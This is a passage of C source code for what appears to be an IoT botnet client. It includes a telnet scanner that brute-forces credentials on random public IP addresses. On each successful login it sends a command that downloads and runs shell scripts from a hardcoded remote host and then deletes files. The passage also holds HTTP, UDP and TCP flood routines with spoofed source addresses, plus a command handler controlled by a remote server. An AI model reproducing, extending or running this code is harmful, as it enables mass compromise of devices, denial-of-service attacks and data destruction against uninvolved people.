  804.         iph->ihl = 5;
  805.         iph->version = 4;
  806.         iph->tos = 0;
  807.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  808.         iph->id = rand_cmwc();
  809.         iph->frag_off = 0;
  810.         iph->ttl = MAXTTL;
  811.         iph->protocol = protocol;
  812.         iph->check = 0;
  813.         iph->saddr = source;
  814.         iph->daddr = dest;
  815. }
  816.  
  817. int sclose(int fd)
  818. {
  819.         if(3 > fd) return 1;
  820.         close(fd);
  821.         return 0;
  822. }
  823.  
  824. //  _____     _            _     __                                   _      _
  825. // /__   \___| |_ __   ___| |_  / _\ ___ __ _ _ __  _ __   ___ _ __  | | ___| |
  826. //   / /\/ _ \ | '_ \ / _ \ __| \ \ / __/ _` | '_ \| '_ \ / _ \ '__| | |/ _ \ |
  827. //  / / |  __/ | | | |  __/ |_  _\ \ (_| (_| | | | | | | |  __/ |    | |  __/ |
  828. //  \/   \___|_|_| |_|\___|\__| \__/\___\__,_|_| |_|_| |_|\___|_|    |_|\___|_|
  829.  
  830. void StartTheLelz()
  831. {
  832.         int max = (getdtablesize() / 4) * 3, i, res;
  833.         fd_set myset;
  834.         struct timeval tv;
  835.         socklen_t lon;
  836.         int valopt;
  837.  
  838.  
  839.         struct sockaddr_in dest_addr;
  840.         dest_addr.sin_family = AF_INET;
  841.         dest_addr.sin_port = htons(23);
  842.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  843.  
  844.         struct telstate_t
  845.         {
  846.                 int fd;
  847.                 uint32_t ip;
  848.                 uint8_t state;
  849.                 uint8_t complete;
  850.                 uint8_t usernameInd;
  851.                 uint8_t passwordInd;
  852.                 uint32_t totalTimeout;
  853.                 uint16_t bufUsed;
  854.                 char *sockbuf;
  855.         } fds[max];
  856.         memset(fds, 0, max * (sizeof(int) + 1));
  857.         for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  858.         struct timeval timeout;
  859.         timeout.tv_sec = 5;
  860.         timeout.tv_usec = 0;
  861.         while(1)
  862.         {
  863.                 for(i = 0; i < max; i++)
  864.                 {
  865.                         switch(fds[i].state)
  866.                         {
  867.                         case 0:
  868.                                 {
  869.                                         memset(fds[i].sockbuf, 0, 1024);
  870.  
  871.                                         if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  872.                                         else {
  873.                                                 fds[i].passwordInd++;
  874.                                                 if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  875.                                                 if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  876.                                         }
  877.                                         dest_addr.sin_family = AF_INET;
  878.                                         dest_addr.sin_port = htons(23);
  879.                                         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  880.                                         dest_addr.sin_addr.s_addr = fds[i].ip;
  881.                                         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  882.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  883.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  884.                                         if(fds[i].fd == -1) { continue; }
  885.                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  886.                                         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
  887.                                         else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  888.                                 }
  889.                                 break;
  890.  
  891.                         case 1:
  892.                                 {
  893.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  894.  
  895.                                         FD_ZERO(&myset);
  896.                                         FD_SET(fds[i].fd, &myset);
  897.                                         tv.tv_sec = 0;
  898.                                         tv.tv_usec = 10000;
  899.                                         res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  900.                                         if(res == 1)
  901.                                         {
  902.                                                 lon = sizeof(int);
  903.                                                 valopt = 0;
  904.                                                 getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  905.                                                 if(valopt)
  906.                                                 {
  907.                                                         sclose(fds[i].fd);
  908.                                                         fds[i].state = 0;
  909.                                                         fds[i].complete = 1;
  910.                                                 } else {
  911.                                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  912.                                                         fds[i].totalTimeout = 0;
  913.                                                         fds[i].bufUsed = 0;
  914.                                                         memset(fds[i].sockbuf, 0, 1024);
  915.                                                         fds[i].state = 2;
  916.                                                         continue;
  917.                                                 }
  918.                                         } else if(res == -1)
  919.                                         {
  920.                                                 sclose(fds[i].fd);
  921.                                                 fds[i].state = 0;
  922.                                                 fds[i].complete = 1;
  923.                                         }
  924.  
  925.                                         if(fds[i].totalTimeout + 5 < time(NULL)) //was if(fds[i].totalTimeout + 5 < time(NULL))
  926.                                         {
  927.                                                 sclose(fds[i].fd);
  928.                                                 fds[i].state = 0;
  929.                                                 fds[i].complete = 1;
  930.                                         }
  931.                                 }
  932.                                 break;
  933.  
  934.                         case 2:
  935.                                 {
  936.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  937.                     if(matchPrompt(fds[i].sockbuf)) {
  938.                                     fds[i].state = 7;
  939.                                 }
  940.  
  941.                                         if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  942.                                         {
  943.                                                 fds[i].totalTimeout = 0;
  944.                                                 fds[i].bufUsed = 0;
  945.                                                 memset(fds[i].sockbuf, 0, 1024);
  946.                                                 fds[i].state = 3;
  947.                                                 continue;
  948.                                         } else {
  949.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  950.                                         }
  951.  
  952.                                         if(fds[i].totalTimeout + 30 < time(NULL))
  953.                                         {
  954.                                                 sclose(fds[i].fd);
  955.                                                 fds[i].state = 0;
  956.                                                 fds[i].complete = 1;
  957.                                         }
  958.                                 }
  959.                                 break;
  960.  
  961.                         case 3:
  962.                                 {
  963.                                         if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  964.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  965.                                         fds[i].state = 4;
  966.                                 }
  967.                                 break;
  968.  
  969.                         case 4:
  970.                                 {
  971.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  972.  
  973.                                         if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  974.                                         {
  975.                                                 fds[i].totalTimeout = 0;
  976.                                                 fds[i].bufUsed = 0;
  977.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  978.                                                 else fds[i].state = 7;
  979.                                                 memset(fds[i].sockbuf, 0, 1024);
  980.                                                 continue;
  981.                                         } else {
  982.                                                 if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  983.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  984.                                         }
  985.  
  986.                                         if(fds[i].totalTimeout + 8 < time(NULL)) //was if(fds[i].totalTimeout + 8 < time(NULL))
  987.                                         {
  988.                                                 sclose(fds[i].fd);
  989.                                                 fds[i].state = 0;
  990.                                                 fds[i].complete = 1;
  991.                                         }
  992.                                 }
  993.                                 break;
  994.  
  995.                         case 5:
  996.                                 {
  997.                                         if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  998.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  999.                                         fds[i].state = 6;
  1000.                                 }
  1001.                                 break;
  1002.  
  1003.                         case 6:
  1004.                                 {
  1005.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1006.  
  1007.                                         if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1008.                                         {
  1009.                                                 fds[i].totalTimeout = 0;
  1010.                                                 fds[i].bufUsed = 0;
  1011.                                                 if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1012.                                                 if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1013.                                                 else fds[i].state = 7;
  1014.                                                 memset(fds[i].sockbuf, 0, 1024);
  1015.                                                 continue;
  1016.                                         } else {
  1017.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  1018.                                         }
  1019.  
  1020.                                         if(fds[i].totalTimeout + 30 < time(NULL))
  1021.                                         {
  1022.                                                 sclose(fds[i].fd);
  1023.                                                 fds[i].state = 0;
  1024.                                                 fds[i].complete = 1;
  1025.                                         }
  1026.                                 }
  1027.                                 break;
  1028.  
  1029.             case 7:
  1030.                 {
  1031.                     if(send(fds[i].fd, "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://173.0.51.47/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 173.0.51.47 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 173.0.51.47; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 173.0.51.47 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 395, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1032.                     fds[i].state = 8;
  1033.                 }
  1034.                 break;
  1035.            
  1036.             case 8:
  1037.                 {
  1038.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1039.                    
  1040.                     if(send(fds[i].fd, "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://173.0.51.47/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 173.0.51.47 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 173.0.51.47; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 173.0.51.47 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 395, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; memset(fds[i].sockbuf, 0, 1024); continue; }
  1041.                    
  1042.                     if(fds[i].totalTimeout + 15 < time(NULL))
  1043.                     {
  1044.                         sclose(fds[i].fd);
  1045.                         fds[i].state = 0;
  1046.                         fds[i].complete = 1;
  1047.                     }
  1048.                 }
  1049.                 break;
  1050.             }
  1051.         }
  1052.     }
  1053. }
  1054.  
  1055. int socket_connect(char *host, in_port_t port)
  1056. {
  1057.     struct hostent *hp;
  1058.     struct sockaddr_in addr;
  1059.     int on = 1, sock;    
  1060.     if ((hp = gethostbyname(host)) == NULL) return 0;
  1061.     bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1062.     addr.sin_port = htons(port);
  1063.     addr.sin_family = AF_INET;
  1064.     sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1065.     setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1066.     if (sock == -1) return 0;
  1067.     if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  1068.     return sock;
  1069. }
  1070.  
  1071.  
  1072. void sendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power)
  1073. {
  1074.     int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
  1075.     char request[512], buffer[1];
  1076.     for (i = 0; i < power; i++)
  1077.     {
  1078.         sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, UserAgents[(rand() % 36)]);
  1079.         if (fork())
  1080.         {
  1081.             while (end > time(NULL))
  1082.             {
  1083.                 socket = socket_connect(host, port);
  1084.                 if (socket != 0)
  1085.                 {
  1086.                     write(socket, request, strlen(request));
  1087.                     read(socket, buffer, 1);
  1088.                     close(socket);
  1089.                 }
  1090.             }
  1091.             exit(0);
  1092.         }
  1093.     }
  1094. }
  1095.  
  1096. void sendSTD(unsigned char *ip, int port, int secs) {
  1097.  
  1098.     int iSTD_Sock;
  1099.  
  1100.     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1101.  
  1102.     time_t start = time(NULL);
  1103.  
  1104.     struct sockaddr_in sin;
  1105.  
  1106.     struct hostent *hp;
  1107.  
  1108.     hp = gethostbyname(ip);
  1109.  
  1110.     bzero((char*) &sin,sizeof(sin));
  1111.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1112.     sin.sin_family = hp->h_addrtype;
  1113.     sin.sin_port = port;
  1114.  
  1115.     unsigned int a = 0;
  1116.  
  1117.     while(1){
  1118.         if (a >= 50)
  1119.         {
  1120.             char *dawgs = makestring();
  1121.             send(iSTD_Sock, dawgs, STD2_SIZE, 0);
  1122.             connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1123.             if (time(NULL) >= start + secs)
  1124.             {
  1125.                 close(iSTD_Sock);
  1126.                 _exit(0);
  1127.             }
  1128.             a = 0;
  1129.         }
  1130.         a++;
  1131.     }
  1132.    
  1133.  
  1134. }
  1135. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1136. {
  1137.         struct sockaddr_in dest_addr;
  1138.  
  1139.         dest_addr.sin_family = AF_INET;
  1140.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1141.         else dest_addr.sin_port = htons(port);
  1142.         if(getHost(target, &dest_addr.sin_addr)) return;
  1143.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1144.  
  1145.         register unsigned int pollRegister;
  1146.         pollRegister = pollinterval;
  1147.  
  1148.         if(spoofit == 32)
  1149.         {
  1150.                 int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1151.                 if(!sockfd)
  1152.                 {
  1153.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  1154.                         return;
  1155.                 }
  1156.  
  1157.                 unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1158.                 if(buf == NULL) return;
  1159.                 memset(buf, 0, packetsize + 1);
  1160.                 makeRandomStr(buf, packetsize);
  1161.  
  1162.                 int end = time(NULL) + timeEnd;
  1163.                 register unsigned int i = 0;
  1164.                 while(1)
  1165.                 {
  1166.                         sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1167.  
  1168.                         if(i == pollRegister)
  1169.                         {
  1170.                                 if(port == 0) dest_addr.sin_port = rand_cmwc();
  1171.                                 if(time(NULL) > end) break;
  1172.                                 i = 0;
  1173.                                 continue;
  1174.                         }
  1175.                         i++;
  1176.                 }
  1177.         } else {
  1178.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1179.                 if(!sockfd)
  1180.                 {
  1181.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  1182.                         //sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1183.                         return;
  1184.                 }
  1185.  
  1186.                 int tmp = 1;
  1187.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1188.                 {
  1189.                         sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1190.                         return;
  1191.                 }
  1192.  
  1193.                 int counter = 50;
  1194.                 while(counter--)
  1195.                 {
  1196.                         srand(time(NULL) ^ rand_cmwc());
  1197.                         init_rand(rand());
  1198.                 }
  1199.  
  1200.                 in_addr_t netmask;
  1201.  
  1202.                 if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1203.                 else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1204.  
  1205.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1206.                 struct iphdr *iph = (struct iphdr *)packet;
  1207.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1208.  
  1209.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1210.  
  1211.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  1212.                 udph->source = rand_cmwc();
  1213.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1214.                 udph->check = 0;
  1215.  
  1216.                 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1217.  
  1218.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1219.  
  1220.                 int end = time(NULL) + timeEnd;
  1221.                 register unsigned int i = 0;
  1222.                 while(1)
  1223.                 {
  1224.                         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1225.  
  1226.                         udph->source = rand_cmwc();
  1227.                         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1228.                         iph->id = rand_cmwc();
  1229.                         iph->saddr = htonl( getRandomIP(netmask) );
  1230.                         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1231.  
  1232.                         if(i == pollRegister)
  1233.                         {
  1234.                                 if(time(NULL) > end) break;
  1235.                                 i = 0;
  1236.                                 continue;
  1237.                         }
  1238.                         i++;
  1239.                 }
  1240.         }
  1241. }
  1242.  
  1243. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1244. {
  1245.         register unsigned int pollRegister;
  1246.         pollRegister = pollinterval;
  1247.  
  1248.         struct sockaddr_in dest_addr;
  1249.  
  1250.         dest_addr.sin_family = AF_INET;
  1251.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1252.         else dest_addr.sin_port = htons(port);
  1253.         if(getHost(target, &dest_addr.sin_addr)) return;
  1254.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1255.  
  1256.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1257.         if(!sockfd)
  1258.         {
  1259.                 sockprintf(mainCommSock, "Failed opening raw socket.");
  1260.                 return;
  1261.         }
  1262.  
  1263.         int tmp = 1;
  1264.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1265.         {
  1266.                 sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1267.                 return;
  1268.         }
  1269.  
  1270.         in_addr_t netmask;
  1271.  
  1272.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1273.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1274.  
  1275.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1276.         struct iphdr *iph = (struct iphdr *)packet;
  1277.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1278.  
  1279.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1280.  
  1281.         tcph->source = rand_cmwc();
  1282.         tcph->seq = rand_cmwc();
  1283.         tcph->ack_seq = 0;
  1284.         tcph->doff = 5;
  1285.  
  1286.         if(!strcmp(flags, "all"))
  1287.         {
  1288.                 tcph->syn = 1;
  1289.                 tcph->rst = 1;
  1290.                 tcph->fin = 1;
  1291.                 tcph->ack = 1;
  1292.                 tcph->psh = 1;
  1293.         } else {
  1294.                 unsigned char *pch = strtok(flags, ",");
  1295.                 while(pch)
  1296.                 {
  1297.                         if(!strcmp(pch,         "syn"))
  1298.                         {
  1299.                                 tcph->syn = 1;
  1300.                         } else if(!strcmp(pch,  "rst"))
  1301.                         {
  1302.                                 tcph->rst = 1;
  1303.                         } else if(!strcmp(pch,  "fin"))
  1304.                         {
  1305.                                 tcph->fin = 1;
  1306.                         } else if(!strcmp(pch,  "ack"))
  1307.                         {
  1308.                                 tcph->ack = 1;
  1309.                         } else if(!strcmp(pch,  "psh"))
  1310.                         {
  1311.                                 tcph->psh = 1;
  1312.                         } else {
  1313.                                 sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1314.                         }
  1315.                         pch = strtok(NULL, ",");
  1316.                 }
  1317.         }
  1318.  
  1319.         tcph->window = rand_cmwc();
  1320.         tcph->check = 0;
  1321.         tcph->urg_ptr = 0;
  1322.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1323.         tcph->check = tcpcsum(iph, tcph);
  1324.  
  1325.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1326.  
  1327.         int end = time(NULL) + timeEnd;
  1328.         register unsigned int i = 0;
  1329.         while(1)
  1330.         {
  1331.                 sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1332.  
  1333.                 iph->saddr = htonl( getRandomIP(netmask) );
  1334.                 iph->id = rand_cmwc();
  1335.                 tcph->seq = rand_cmwc();
  1336.                 tcph->source = rand_cmwc();
  1337.                 tcph->check = 0;
  1338.                 tcph->check = tcpcsum(iph, tcph);
  1339.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1340.  
  1341.                 if(i == pollRegister)
  1342.                 {
  1343.                         if(time(NULL) > end) break;
  1344.                         i = 0;
  1345.                         continue;
  1346.                 }
  1347.                 i++;
  1348.         }
  1349. }
  1350.  
  1351. void processCmd(int argc, unsigned char *argv[])
  1352. {
  1353.     int x;
  1354.         if(!strcmp(argv[0], "PING"))
  1355.         {
  1356.                 sockprintf(mainCommSock, "PONG!");
  1357.                 return;
  1358.         }
  1359.  
  1360.         if(!strcmp(argv[0], "GETLOCALIP"))
  1361.         {
  1362.                 sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1363.                 return;
  1364.         }
  1365.  
  1366.         if(!strcmp(argv[0], "SCANNER"))
  1367.         {
  1368.                 if(argc != 2)
  1369.                 {
  1370.                         sockprintf(mainCommSock, "SCANNER ON | OFF");
  1371.                         return;
  1372.                 }
  1373.  
  1374.                 if(!strcmp(argv[1], "OFF"))
  1375.                 {
  1376.                         if(scanPid == 0) return;
  1377.                         kill(scanPid, 9);
  1378.                         printf("SCANNER STOPPED!\n");
  1379.                         scanPid = 0;
  1380.                 }
  1381.  
  1382.                 if(!strcmp(argv[1], "ON"))
  1383.                 {
  1384.                         if(scanPid != 0) return;
  1385.                         uint32_t parent;
  1386.                         parent = fork();
  1387.                         printf("SCANNER STARTED!\n");
  1388.                         if (parent > 0) { scanPid = parent; return;}
  1389.                         else if(parent == -1) return;
  1390.  
  1391.                         StartTheLelz();
  1392.                         _exit(0);
  1393.                            }
  1394.         }
  1395.  
  1396.  
  1397.         if(!strcmp(argv[0], "UDP"))
  1398.         {
  1399.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1400.                 {
  1401.                         return;
  1402.                 }
  1403.  
  1404.                 unsigned char *ip = argv[1];
  1405.                 int port = atoi(argv[2]);
  1406.                 int time = atoi(argv[3]);
  1407.                 int spoofed = atoi(argv[4]);
  1408.                 int packetsize = atoi(argv[5]);
  1409.                 int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  1410.  
  1411.                 if(strstr(ip, ",") != NULL)
  1412.                 {
  1413.                         unsigned char *hi = strtok(ip, ",");
  1414.                         while(hi != NULL)
  1415.                         {
  1416.                                 if(!listFork())
  1417.                                 {
  1418.                                         sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  1419.                                         _exit(0);
  1420.                                 }
  1421.                                 hi = strtok(NULL, ",");
  1422.                         }
  1423.                 } else {
  1424.                         if (listFork()) { return; }
  1425.  
  1426.                         sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  1427.                         _exit(0);
  1428.                 }
  1429.         }
  1430.  
  1431.         if (!strcmp(argv[0], "HTTP"))
  1432.     {
  1433.         if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;
  1434.         if (listFork()) return;
  1435.         sockprintf(mainCommSock, "HTTP %s Flooding %s:%d for %d seconds", argv[1], argv[2], atoi(argv[3]), atoi(argv[5]));
  1436.         sendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  1437.         exit(0);
  1438.     }
  1439.         if(!strcmp(argv[0], "STD"))
  1440.         {
  1441.             if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1442.             {
  1443.                        
  1444.                         return;
  1445.             }
  1446.            
  1447.             unsigned char *ip = argv[1];
  1448.             int port = atoi(argv[2]);
  1449.             int time = atoi(argv[3]);
  1450.            
  1451.             if(strstr(ip, ",") != NULL)
  1452.                 {
  1453.                         unsigned char *hi = strtok(ip, ",");
  1454.                         while(hi != NULL)
  1455.                         {
  1456.                                 if(!listFork())
  1457.                                 {
  1458.                                         sendSTD(hi, port, time);
  1459.                                         _exit(0);
  1460.                                 }
  1461.                                 hi = strtok(NULL, ",");
  1462.                         }
  1463.                 } else {
  1464.                         if (listFork()) { return; }
  1465.  
  1466.                         sendSTD(ip, port, time);
  1467.                         _exit(0);
  1468.                 }
  1469.            
  1470.         }
  1471.  
  1472.         if(!strcmp(argv[0], "TCP"))
  1473.         {
  1474.                 if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  1475.                 {
  1476.                         //sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  1477.                         return;
  1478.                 }
  1479.  
  1480.                 unsigned char *ip = argv[1];
  1481.                 int port = atoi(argv[2]);
  1482.                 int time = atoi(argv[3]);
  1483.                 int spoofed = atoi(argv[4]);
  1484.                 unsigned char *flags = argv[5];
  1485.  
  1486.                 int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  1487.                 int psize = argc > 6 ? atoi(argv[6]) : 0;
  1488.  
  1489.                 if(strstr(ip, ",") != NULL)
  1490.                 {
  1491.                         unsigned char *hi = strtok(ip, ",");
  1492.                         while(hi != NULL)
  1493.                         {
  1494.                                 if(!listFork())
  1495.                                 {
  1496.                                         sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  1497.                                         _exit(0);
  1498.                                 }
  1499.                                 hi = strtok(NULL, ",");
  1500.                         }
  1501.                 } else {
  1502.                         if (listFork()) { return; }
  1503.  
  1504.                         sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  1505.                         _exit(0);
  1506.                 }
  1507.         }
  1508.  
  1509.     if(!strcmp(argv[0], "KILLATTK"))
  1510.         {
  1511.                 int killed = 0;
  1512.                 unsigned long i;
  1513.                 for (i = 0; i < numpids; i++) {
  1514.                         if (pids[i] != 0 && pids[i] != getpid()) {
  1515.                                 kill(pids[i], 9);
  1516.                                 killed++;
  1517.                         }
  1518.                 }
  1519.  
  1520.                 if(killed > 0)
  1521.                 {
  1522.                         //sockprintf(mainCommSock, "Killed %d.", killed);
  1523.                 } else {
  1524.                         //sockprintf(mainCommSock, "None Killed.");
  1525.                 }
  1526.         }
  1527.  
  1528.         if(!strcmp(argv[0], "LOLNOGTFO"))
  1529.         {
  1530.                 exit(0);
  1531.         }
  1532. }
  1533.  
  1534. int initConnection()
  1535. {
  1536.         unsigned char server[4096];
  1537.         memset(server, 0, 4096);
  1538.         if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
  1539.         if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1540.         else currentServer++;
  1541.  
  1542.         strcpy(server, commServer[currentServer]);
  1543.         int port = 23;
  1544.         if(strchr(server, ':') != NULL)
  1545.         {
  1546.                 port = atoi(strchr(server, ':') + 1);
  1547.                 *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1548.         }
  1549.  
  1550.         mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1551.  
  1552.         if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1553.  
  1554.         return 0;
  1555. }
  1556.  
  1557. int getOurIP()
  1558. {
  1559.         int sock = socket(AF_INET, SOCK_DGRAM, 0);
